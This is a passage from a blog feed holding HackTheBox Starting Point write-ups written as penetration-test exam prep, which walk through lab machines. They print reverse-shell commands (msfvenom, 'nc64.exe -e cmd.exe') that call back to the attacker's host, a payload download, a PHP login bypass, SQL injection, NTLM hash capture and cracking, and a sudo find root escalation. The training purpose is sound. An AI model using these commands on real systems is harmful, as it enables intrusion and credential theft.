for_Windows_8.1 (protocol 2.0)<br>| ssh-hostkey: <br>| 3072 9fa0f78cc6e2a4bd718768823e5db79f (RSA)<br>| 256 907d96a96e9e4d4094e7bb55ebb30b97 (ECDSA)<br>|_ 256 f910eb76d46d4f3e17f393d60b8c4b81 (ED25519)<br>80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)<br>| http-cookie-flags: <br>| /: <br>| PHPSESSID: <br>|_ httponly flag not set<br>|_http-title: MegaShopping<br>|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28<br>443/tcp open ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)<br>| ssl-cert: Subject: commonName=localhost<br>| Not valid before: 2009–11–10T23:48:47<br>|_Not valid after: 2019–11–08T23:48:47<br>| tls-alpn: <br>|_ http/1.1<br>|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28<br>| http-cookie-flags: <br>| /: <br>| PHPSESSID: <br>|_ httponly flag not set<br>|_ssl-date: TLS randomness does not represent time<br>|_http-title: MegaShoppin<br>```</pre><p>you can login the shopping website using the default credentials, admin:password<br>playing around the website, we can write stuff in the order page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mzwREIoNNcUkGFaVplLWaw.png" /></figure><p>This is a sign to and XXE, let’s craft one with burpsuite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*jxXS6q1Uw6edE-q6JSppSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*qYWwQkzJfYysDYM7fZs8-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*NUtFQYyE8MAuG9vFdVrJbA.png" /></figure><p>After reading the id_rsa private of Daniel a user we found in the web page source, we can login as him. In log-management folder, we see that there is schedule job</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*vaCXJUZwNDa1s9qWo5WlAA.png" /></figure><p>We need to change the job.bat file to give up a reverse shell<br>let’s try msfvenom</p><pre>```bash<br>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.23 LPORT=4444 -f exe &gt; reverse.exe<br>```</pre><p>upload it via</p><pre>``````<br>Invoke-WebRequest &quot;http://10.10.14.2:80/taskkill.exe&quot; -OutFile &quot;taskkill.exe&quot;<br>``````</pre><p>The rev shell from msfvenom didn’t work, we can always upload nc and use this</p><pre>```<br>nc64.exe -e cmd.exe {your_IP} {port}<br>```</pre><p>After that, I gave up and ran winpeas on it and found this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*4GUMXjnK4XIVnRsaDSGpzQ.png" /></figure><p>The last machine is <strong>Base</strong><br>Nmap scan</p><pre>```bash<br>└─$ nmap -sC -sV -PN -T4 10.129.27.95 <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024–09–04 18:34 CET<br>Nmap scan report for 10.129.27.95<br>Host is up (0.22s latency).<br>Not shown: 998 closed tcp ports (conn-refused)<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>| 2048 f65c9b38eca75c791c1f181c5246f70b (RSA)<br>| 256 650cf7db42034607f21289fe11202c53 (ECDSA)<br>|_ 256 b865cd3f34d8026ae318233e77dd8740 (ED25519)<br>80/tcp open http Apache httpd 2.4.29 ((Ubuntu))<br>|_http-title: Welcome to Base<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br>```</pre><p>Running gobuster or ffuf will get us the /login directory and going to it will get us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*X3M5rqatDEsRFwh6w0MCIw.png" /></figure><p>opening the .swp file we have this interesting bit of code</p><pre>```php<br>&lt;!DOCTYPE html&gt;<br> }<br> print(&quot;&lt;script&gt;alert(&#39;Wrong Username or Password&#39;)&lt;/script&gt;&quot;);<br> } else {<br> }<br> print(&quot;&lt;script&gt;alert(&#39;Wrong Username or Password&#39;)&lt;/script&gt;&quot;);<br> } else {<br> header(&quot;Location: /upload.php&quot;);<br> $_SESSION[&#39;user_id&#39;] = 1;<br> if (strcmp($password, $_POST[&#39;password&#39;]) == 0) {<br> if (strcmp($username, $_POST[&#39;username&#39;]) == 0) {<br> require(&#39;config.php&#39;);<br>if (!empty($_POST[&#39;username&#39;]) &amp;&amp; !empty($_POST[&#39;password&#39;])) {<br>session_start();<br>&lt;?php<br>&lt;/html&gt;<br>&lt;/body&gt;<br> &lt;script src=&quot;../assets/js/main.js&quot;&gt;&lt;/script&gt;<br>```</pre><p>looks like the server is using strcmp to commpare the input given from the user<br><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp">https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp</a><br>we can bypass this by using username=admin&amp;password[]=%22%22<br>Do this in burpsuite and you will get to the /uploads.php page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*ubq7DkI0Rp7W0meVfF-wCg.png" /></figure><p>We need to find where does the uploaded files end up for us to do a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3DOZsYTrfzCdiNYlslFHwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*qED1qj190Iu5yPJoBULKww.png" /></figure><p>We need to stabilize the shell, after, in /var/www/html in the config.php that we saw earlier we have</p><pre>```bash<br>www-data@base:/var/www/html/login$ cat config.php <br>&lt;?php<br>$username = &quot;admin&quot;;<br>$password = &quot;thisisagoodpassword&quot;<br>```</pre><p>we also have a user john, turns out it was john password that he reused and he also has these privileges</p><pre>```bash<br>uid=1000(john) gid=1000(john) groups=1000(john)<br>john@base:~$ sudo -ll <br>[sudo] password for john: <br>Matching Defaults entries for john on base:<br> env_reset, mail_badpass,<br> secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br>User john may run the following commands on base:<br>Sudoers entry:<br> RunAsUsers: root<br> RunAsGroups: root<br> Commands:<br> /usr/bin/find<br>```</pre><p>which we can become root, thanks to gtfobins: <br><br><strong>sudo /usr/bin/find . -exec /bin/sh \; -quit</strong></p><p>With this we are done with all the starting point machines, I had fun over the past few weeks, and this will help set our proving grounds going on to more difficult machines, the two most important things we need to focus on right now is to set a methodology for conducting a pentest, and second setting up a checklist for each step in the pentest method we will use.</p><p>Our next two objectives are: to move along with the PEH course and take more notes, and start the beginner track in HTB.</p><figure><a href="https://buymeacoffee.com/azizfadhelo"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QCQqlZr6doDP-cszzpaSpw.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=077a4d6aba34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: The Starting Point- PJPT prep]]></title>
            <link>https://medium.com/@azizfadhel77/htb-the-starting-point-pjpt-prep-738e959eb793?source=rss-2ee77b03e3e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/738e959eb793</guid>
            <category><![CDATA[tcm-security]]></category>
            <category><![CDATA[pjpt]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[MoFahdel]]></dc:creator>
            <pubDate>Sun, 08 Sep 2024 15:57:02 GMT</pubDate>
            <atom:updated>2024-09-08T20:18:34.536Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB: The Starting Point- PJPT prep (part1)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mfxp9eTO4BotN1TGWkIOxQ.jpeg" /></figure><p>This is my preparation to get the PJPT, obviously this is not the complete and comprehensive step by step tutorial as each of us has it own strengths and drawbacks when it comes to pentesting. But we can all agree that having a methodology will go along the way, this will further explained in later blogs. <br>First things first, we need a starting point and what is better than HTB starting point to start this great journey.<br>So let&#39;s start with the first machine Meow.</p><p>The first machine is very straightforward and doesn&#39;t present any challenge (assuming you have the basics), just connect via OpenVPN, spawn the machine, answer some straightforward question and run a quick Nmap scan on the target you will get this port open.</p><pre>``` bash<br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ nmap -A -PN -sV -p-400 10.129.1.17               <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-28 04:31 CET<br>Nmap scan report for 10.129.1.17<br>Host is up (0.034s latency).<br>Not shown: 399 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>23/tcp open  telnet  Linux telnetd<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 21.28 seconds<br>```</pre><p>What username is able to log into the target over telnet with a blank password? <strong>root</strong></p><p>login with root and no password and you&#39;ll have the first flag(if only all machines were like this)<br>and that is <strong>Meow </strong>done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*i18q-mNMsCtE7p8qphQLJg.png" /></figure><p>The next machine is <strong>Fawn</strong><br>This is a pure FTP machine, nothing special at least until now, answering easy question and running an Nmap scan will give us this result.</p><pre>``` bash <br>──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ nmap -A -PN -sV -p-400 10.129.57.47<br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-28 23:55 CET<br>Nmap scan report for 10.129.57.47<br>Host is up (0.035s latency).<br>Not shown: 399 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to ::ffff:10.10.14.11<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 3<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt<br>Service Info: OS: Unix<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 2.26 seconds<br>```</pre><p>this is vsftpd 3.0.3 with anonymous login enabled, simply login and grab the flag, the rest of the question are very basic.<br>Not all machine are like this but this is a preview to have an idea on the know service and how to interact with them. Onto the next machine <strong>Dancing</strong> our first windows machine.</p><p><strong>Dancing</strong> is the SMB equivalent to the FTP of <strong>Fawn</strong><br>By this point, you notice a pattern, straightforward question about the service we gonna enumerate and the quickest access to the machine we can get and <strong>Dancing </strong>is no exception<br>this time is <strong>Server Message Block.</strong></p><pre>```bash <br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ nmap -A -PN -sV -p445 10.129.210.135 <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-29 00:25 CET<br>Nmap scan report for 10.129.210.135<br>Host is up (0.037s latency).<br>PORT    STATE SERVICE       VERSION<br>445/tcp open  microsoft-ds?<br>Host script results:<br>|_clock-skew: 3h59m59s<br>| smb2-time: <br>|   date: 2024-07-29T03:25:18<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   311: <br>|_    Message signing enabled but not required<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 16.85 seconds<br>```</pre><p>using smbclient to enumerate the shares we get</p><pre>```bash <br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ smbclient -L //////10.129.210.135<br>Password for [WORKGROUP\kali]:<br>Sharename       Type      Comment<br> ---------       ----      -------<br> ADMIN$          Disk      Remote Admin<br> C$              Disk      Default share<br> IPC$            IPC       Remote IPC<br> WorkShares      Disk      <br>Reconnecting with SMB1 for workgroup listing.<br>do_connect: Connection to 10.129.210.135 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)<br>Unable to connect with SMB1 -- no workgroup available<br>```</pre><p>we have access to WorkShares, using this command we cand get into the share</p><pre>```bash <br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ smbclient //10.129.210.135/WorkShares -N<br>```</pre><p>and the flag should be in James directory; getting the file using <strong>get</strong>.</p><p>Our next machine is <strong>Redeemer</strong> our first DB interaction machine using <strong>Redis</strong>.</p><pre>```bash<br>┌──(kali㉿kali)-[~]<br>└─$ nmap -A -PN -sV -p- 10.129.57.33<br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-29 01:20 CET<br>Nmap scan report for 10.129.57.33<br>Host is up (0.034s latency).<br>Not shown: 65534 closed tcp ports (conn-refused)<br>PORT     STATE SERVICE VERSION<br>6379/tcp open  redis   Redis key-value store 5.0.7<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 22.54 seconds<br>```</pre><p>We will use the <strong>redis-cli</strong> tool to interact with the database, once inside and answer a few easy question we need to list the databases <strong>using config get databases</strong></p><pre>```bash<br>10.129.57.33:6379&gt; config get databases<br>1) &quot;databases&quot;<br>2) &quot;16&quot;<br>```</pre><p>the database we are looking for is with index 0, running <strong>keys</strong> * will list all keys in the DB</p><pre>```bash <br>1) &quot;numb&quot;<br>2) &quot;stor&quot;<br>3) &quot;temp&quot;<br>4) &quot;flag&quot;<br>```</pre><p>a simple <strong>GET</strong> will give us the flag.</p><p>The next machine is <strong>Explosion </strong>and it deals with <strong>RDP</strong>, let us scan our service</p><pre>```bash<br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ nmap -A -PN -sV -p- 10.129.57.72<br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-29 14:23 CET<br>Nmap scan report for 10.129.57.72<br>Host is up (0.026s latency).<br>Not shown: 65521 closed tcp ports (conn-refused)<br>PORT      STATE SERVICE       VERSION<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds?<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: EXPLOSION<br>|   NetBIOS_Domain_Name: EXPLOSION<br>|   NetBIOS_Computer_Name: EXPLOSION<br>|   DNS_Domain_Name: Explosion<br>|   DNS_Computer_Name: Explosion<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2024-07-29T13:25:02+00:00<br>|_ssl-date: 2024-07-29T13:25:09+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=Explosion<br>| Not valid before: 2024-07-28T13:21:17<br>|_Not valid after:  2025-01-27T13:21:17<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open  msrpc         Microsoft Windows RPC<br>49665/tcp open  msrpc         Microsoft Windows RPC<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49668/tcp open  msrpc         Microsoft Windows RPC<br>49669/tcp open  msrpc         Microsoft Windows RPC<br>49670/tcp open  msrpc         Microsoft Windows RPC<br>49671/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br>Host script results:<br>| smb2-time: <br>|   date: 2024-07-29T13:25:02<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   311: <br>|_    Message signing enabled but not required<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 91.00 seconds<br>```</pre><p>It is always to run a full scan on all of our machines but for this we are interested in port <strong>3389</strong>.</p><p>Using <strong>xfreerdp</strong> to login next as <strong>Administrator</strong> with blank password (reading the manual of the tool is a must in all the machines we covered to learn the syntax of how each tool should be used)</p><p>The next machine in this tier is <strong>Preignition</strong>, our first web machine (many are yet to come)<br>Let&#39;s run the nmap scan (you can use any enumeration tool you want, nmap is just my favorite for now)</p><pre>```bash<br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ nmap -A -PN -sV -p- 10.129.57.129<br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-29 15:01 CET<br>Nmap scan report for 10.129.57.129<br>Host is up (0.029s latency).<br>Not shown: 65534 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>80/tcp open  http    nginx 1.14.2<br>|_http-title: Welcome to nginx!<br>|_http-server-header: nginx/1.14.2<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 29.74 seconds<br>```</pre><p>Next is dir busting using <strong>Gobuster </strong>(or again any tool you want) resulting in an admin panel</p><pre>```bash<br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ gobuster dir -u http://10.129.57.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t4 -x php<br>===============================================================<br>Gobuster v3.5<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.129.57.129<br>[+] Method:                  GET<br>[+] Threads:                 4<br>[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.5<br>[+] Extensions:              php<br>[+] Timeout:                 10s<br>===============================================================<br>2024/07/29 15:07:06 Starting gobuster in directory enumeration mode<br>===============================================================<br>/admin.php            (Status: 200) [Size: 999]<br>```</pre><p>Login with admin/admin and you have the flag.</p><p>Next machine is <strong>Mongod</strong> focusing on MongoDB<br>nmap scan is bit much, but we&#39;ll process it</p><pre>```bash<br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ nmap -A -PN -sV -p- 10.129.78.173<br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-29 16:40 CET<br>Nmap scan report for 10.129.78.173<br>Host is up (0.037s latency).<br>Not shown: 65533 closed tcp ports (conn-refused)<br>PORT      STATE SERVICE VERSION<br>22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)<br>|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)<br>|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)<br>27017/tcp open  mongodb MongoDB 3.6.8 3.6.8<br>| mongodb-info: <br>|   MongoDB Build info<br>|     javascriptEngine = mozjs<br>|     storageEngines<br>|       3 = wiredTiger<br>|       2 = mmapv1<br>|       1 = ephemeralForTest<br>|       0 = devnull<br>|     versionArray<br>|       3 = 0<br>|       2 = 8<br>|       1 = 6<br>|       0 = 3<br>|     ok = 1.0<br>|     maxBsonObjectSize = 16777216<br>|     gitVersion = 8e540c0b6db93ce994cc548f000900bdc740f80a<br>|     debug = false<br>|     bits = 64<br>|     version = 3.6.8<br>|     sysInfo = deprecated<br>|     allocator = tcmalloc<br>|     buildEnvironment<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 20.41 seconds<br>```</pre><p>if you don&#39;t have it already, download the <strong>mongosh </strong>.deb package from the MongoDB website and run it, since I am lazy I&#39;ll use the pwnbox. Login in and use the admin database and list the flag in there.</p><p>Last machine in tier0 is <strong>Synced</strong></p><pre>```bash<br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ nmap -A -PN -sV -p- 10.129.57.156<br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-29 18:23 CET<br>Nmap scan report for 10.129.57.156<br>Host is up (0.028s latency).<br>Not shown: 65534 closed tcp ports (conn-refused)<br>PORT    STATE SERVICE VERSION<br>873/tcp open  rsync   (protocol version 31)<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 24.13 seconds<br>```</pre><p>listing file shares</p><pre>```bash<br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ rsync --list-only --port=873 rsync://10.129.57.156/      <br>public          Anonymous Share<br>```<br>```bash<br>└─$ rsync --list-only --port=873 rsync://10.129.57.156/public          <br>drwxr-xr-x          4,096 2022/10/24 23:02:23 .<br>-rw-r--r--             33 2022/10/24 22:32:03 flag.txt<br>```</pre><p>to get the flag just copy the file to your machine <strong>rsync --list-only --port=873 rsync://10.129.57.156/public/flag.txt .</strong></p><p>With this the first part of three part of the starting point is done, onto the next tier, the machines are gonna get more and more richer and much complex.</p><p>The first machine in tier I is <strong>Appointment</strong></p><p>let&#39;s start with an nmap scan</p><pre>```bash <br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ nmap -A -PN -sV 10.129.51.169 <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-10 21:29 CET<br>Nmap scan report for 10.129.51.169<br>Host is up (0.075s latency).<br>Not shown: 999 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>80/tcp open  http    Apache httpd 2.4.38<br>Service Info: Host: 127.0.0.1<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 95.73 seconds<br>```</pre><p>if you visit the open port you&#39;ll find a login panel, assuming this machine is centered around SQL injection, this is the exploit that we will be doing.<br>in the username field <strong>&#39; OR 1 = 1 #</strong> will get us the flag. Pretty straight forward SQL injection.<br>You can try and poke around even more or play around with other tools like sqlmap.</p><p>Next machine is <strong>Sequel</strong><br>the nmap scan on this one show a filtered port on 3306, even banner grabbing with nc didn&#39;t work. However, if you attempt to login as root with no password you&#39;ll get access to the database.</p><pre>```bash<br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ nmap -A -PN -sV -p3306 10.129.12.38<br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-10 22:22 CET<br>Nmap scan report for 10.129.12.38<br>Host is up.<br>PORT     STATE    SERVICE VERSION<br>3306/tcp filtered mysql<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 10.45 seconds<br>```</pre><p>After that the flag is in the database <strong>htb</strong> in the table <strong>config</strong></p><pre>```bash<br>MariaDB [htb]&gt; select * from config <br>    -&gt; ;<br>+----+-----------------------+----------------------------------+<br>| id | name                  | value                            |<br>+----+-----------------------+----------------------------------+<br>|  1 | timeout               | 60s                              |<br>|  2 | security              | default                          |<br>|  3 | auto_logon            | false                            |<br>|  4 | max_size              | 2M                               |<br>|  5 | flag                  | 7b4bec00d1a39e3dd4e021ec3d915da8 |<br>|  6 | enable_uploads        | false                            |<br>|  7 | authentication_method | radius                           |<br>+----+-----------------------+----------------------------------+<br>7 rows in set (0.009 sec)<br>MariaDB [htb]&gt; <br>```</pre><p>Next machine is <strong>Crocodile</strong>, appears to be a ftp with anonymous login allowed from the nmap scan</p><pre>```bash<br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ nmap -A -PN -sV  10.129.143.201 <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-10 22:47 CET<br>Nmap scan report for 10.129.143.201<br>Host is up (0.32s latency).<br>Not shown: 997 closed tcp ports (conn-refused)<br>PORT    STATE    SERVICE      VERSION<br>21/tcp  open     ftp          vsftpd 3.0.3<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to ::ffff:10.10.14.84<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 2<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist<br>|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd<br>80/tcp  open     http         Apache httpd 2.4.41 ((Ubuntu))<br>445/tcp filtered microsoft-ds<br>Service Info: OS: Unix<br>```</pre><p>these are inside the two files ( we will have to bruteforce our way but where )</p><pre>```bash<br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ cat allowed.userlist      <br>aron<br>pwnmeow<br>egotisticalsw<br>admin<br>                                                                                <br>┌──(kali㉿kali)-[~/Desktop/HackTheBox]<br>└─$ cat allowed.userlist.passwd <br>root<br>Supersecretpassword1<br>@BaASD&amp;9032123sADS<br>rKXM59ESxesUFHAd<br>```</pre><p>gobuster on the http port will give us the file<strong> login.php</strong></p><pre>```bash<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.php                 (Status: 403) [Size: 279]<br>/login.php            (Status: 200) [Size: 1577]<br>/assets               (Status: 301) [Size: 317] [--&gt; http://10.129.143.201/assets/]<br>/css                  (Status: 301) [Size: 314] [--&gt; http://10.129.143.201/css/]<br>/js                   (Status: 301) [Size: 313] [--&gt; http://10.129.143.201/js/]<br>/logout.php           (Status: 302) [Size: 0] [--&gt; login.php]<br>/config.php           (Status: 200) [Size: 0]<br>/fonts                (Status: 301) [Size: 316] [--&gt; http://10.129.143.201/fonts/]<br>/dashboard            (Status: 301) [Size: 320] [--&gt; http://10.129.143.201/dashboard/]<br>```</pre><p>Now you can use Hydra and we will eventually, but for this case, with only 4 options we can manually get the password which is <strong>rKXM59ESxesUFHAd</strong></p><p><strong>Our first windows machine is Responder</strong><br>nmap scan gives us:</p><pre>```bash<br>└──╼ [★]$ nmap -sC -sV -PN 10.129.211.132<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-11 16:55 CDT<br>Nmap scan report for 10.129.211.132<br>Host is up (0.17s latency).<br>Not shown: 999 filtered tcp ports (no-response)<br>PORT   STATE SERVICE VERSION<br>80/tcp open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 29.76 seconds<br>```</pre><p>you can explore the website yourself, but one things sticks out is that changing the languages seem to expose the parameter <strong>page</strong>, so the first thing that comes to mind is <strong>LFI</strong> and indeed we have one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZW7Yg9IvPgVqYAk1oqL4sw.png" /></figure><p>So what we are going to do is to attempt to do a <strong>RFI</strong> calling the tool responder making wait and listen for us calling our machine to reach somefile and waiting to capture the NTLM hash and maybe crack it</p><pre>```bash <br>[+] Listening for events...<br>[!] Error starting TCP server on port 80, check permissions or other servers running.<br>[SMB] NTLMv2-SSP Client   : 10.129.211.132<br>[SMB] NTLMv2-SSP Username : RESPONDER\Administrator<br>[SMB] NTLMv2-SSP Hash     : Administrator::RESPONDER:c8d608a9b3282480:F33E25045334D6E11FCFD338E5CF6D90:01010000000000000013DAC010ECDA0147DBF145D6342F8600000000020008004100580050004E0001001E00570049004E002D004B004D00530050004D0034004800370052005200440004003400570049004E002D004B004D00530050004D003400480037005200520044002E004100580050004E002E004C004F00430041004C00030014004100580050004E002E004C004F00430041004C00050014004100580050004E002E004C004F00430041004C00070008000013DAC010ECDA0106000400020000000800300030000000000000000100000000200000E8576C8C389DC5A8A6D32AD07AFD33FB9D398AFB229EF179D2D50E56018210EF0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00380034000000000000000000<br>```</pre><p>let&#39;s crack it with john the ripper</p><pre>```bash<br>└──╼ #john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])<br>Will run 4 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>badminton        (Administrator)     <br>1g 0:00:00:00 DONE (2024-08-11 17:10) 50.00g/s 204800p/s 204800c/s 204800C/s slimshady..oooooo<br>Use the &quot;--show --format=netntlmv2&quot; options to display all of the cracked passwords reliably<br>Session completed.<br>```</pre><p>going back and running a full TCP scan with nmap will give us another port we can connect to the victim machine.</p><pre>```bash<br>Not shown: 65532 filtered tcp ports (no-response)<br>PORT     STATE SERVICE    VERSION<br>80/tcp   open  http       Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)<br>|_http-title: Unika<br>|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1<br>5985/tcp open  http       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>7680/tcp open  pando-pub?<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br>Final times for host: srtt: 150604 rttvar: 3573  to: 164896<br>```</pre><p>after some googling, we can find the tool <strong>evil-winrm</strong> that can allow us to have a shell in our victim machine</p><pre>```bash<br>└──╼ #evil-winrm -i unika.htb -u administrator -p badminton<br>                                        <br>Evil-WinRM shell v3.5<br>                                        